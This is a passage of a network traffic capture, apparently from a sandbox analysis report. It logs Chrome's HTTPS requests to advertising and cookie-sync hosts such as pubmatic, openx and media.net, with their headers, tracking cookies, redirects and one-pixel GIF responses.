KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:27 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:27 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1704929247; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:27 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.4	50434	107.178.254.65	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	680	OUT	GET /api/sync?pid=5324&it=1&iv=1103582a403e7fff22937737c325df5ce80bade9f8d424f6b32d97381eca9846791426b5417dce21&_=2 HTTP/1.1 Host: pippio.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:28 UTC	959	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://px.ads.linkedin.com/db_sync?pid=10339&puuid=1103582a403e7fff22937737c325df5ce80bade9f8d424f6b32d97381eca9846791426b5417dce21&rand=08174731 P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: did=_pv55mzfKA0Ejjl2; Path=/; Domain=pippio.com; Expires=Thu, 09 Jan 2025 23:27:27 GMT; Secure; SameSite=None Set-Cookie: didts=1704929247; Path=/; Domain=pippio.com; Expires=Thu, 09 Jan 2025 23:27:27 GMT; Secure; SameSite=None Set-Cookie: nnls=; Path=/; Domain=pippio.com; Expires=Sun, 10 Mar 2024 23:27:27 GMT; Secure; SameSite=None Set-Cookie: pxrc=CN/P/KwGEgYIgr0rEAA=; Path=/; Domain=pippio.com; Expires=Sun, 10 Mar 2024 23:27:27 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.4	50446	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3531	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEPI9hVJH5w22DLuOR_CuGrs&google_cver=1 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; PugT=1704929247
2024-01-10 23:27:28 UTC	669	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.4	50436	38.98.69.175	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	655	OUT	GET /sn.ashx?ak=1 HTTP/1.1 Host: pmp.mxptint.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mxpim=R33645_10F17D40A_8AEC9589.1.0000000000000000659F27DE
2024-01-10 23:27:28 UTC	242	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Date: Wed, 10 Jan 2024 23:27:27 GMT Connection: close Content-Length: 43 Strict-Transport-Security: max-age=-387934048; includeSubDomains
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.4	50447	34.98.64.218	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	768	OUT	GET /w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fidsync.rlcdn.com%2F396846.gif%3Fserved_by%3Devergreen%26partner_uid%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
2024-01-10 23:27:28 UTC	579	IN	HTTP/1.1 302 Found Vary: Accept, Accept-Encoding Set-Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237; Version=1; Expires=Thu, 09-Jan-2025 23:27:28 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://idsync.rlcdn.com/396846.gif?served_by=evergreen&partner_uid=2b9b95ab-54c6-063d-2348-37d056d15d4c Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.4	50444	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	1087	OUT	GET /cksync.php?type=mf&ovsid=20ed5203-3644-4449-ae7b-5e053499d8b1&cs=1 HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:28 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1;Expires=Thu, 09 Jan 2025 23:27:28 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:28 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.4	50448	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	1148	OUT	GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=dxu&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=Rw6Yt2Jl1RnHYF5 HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:28 UTC	624	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-xu=Rw6Yt2Jl1RnHYF5~~8;Expires=Wed, 08 Jan 2025 23:27:28 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:28 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.4	50435	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3745	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzMmdGw9MTI5NjAw&piggybackCookie=Q7582156461311061263 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:28 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.4	50433	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	1006	OUT	GET /csync/RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005?redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA%3D%26piggybackCookie%3DRX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 HTTP/1.1 Host: sync.targeting.unrulymedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%7D
2024-01-10 23:27:28 UTC	628	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:28 GMT content-type: text/html transfer-encoding: chunked set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%7D; path=/; expires=Thu, 09 Jan 2025 23:27:28 GMT; domain=.targeting.unrulymedia.com; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA=&piggybackCookie=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 etag: RX3aca3d5089944e16b777d0ebcb44b35f005 connection: close
2024-01-10 23:27:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.4	50440	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	1307	OUT	GET /cksync.html?cs=1&vsid=3479308310180275000V10&type=tlt&refUrl=&vid=49292349683479308310180275000V10&ovsid=3631141743957125218505&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; 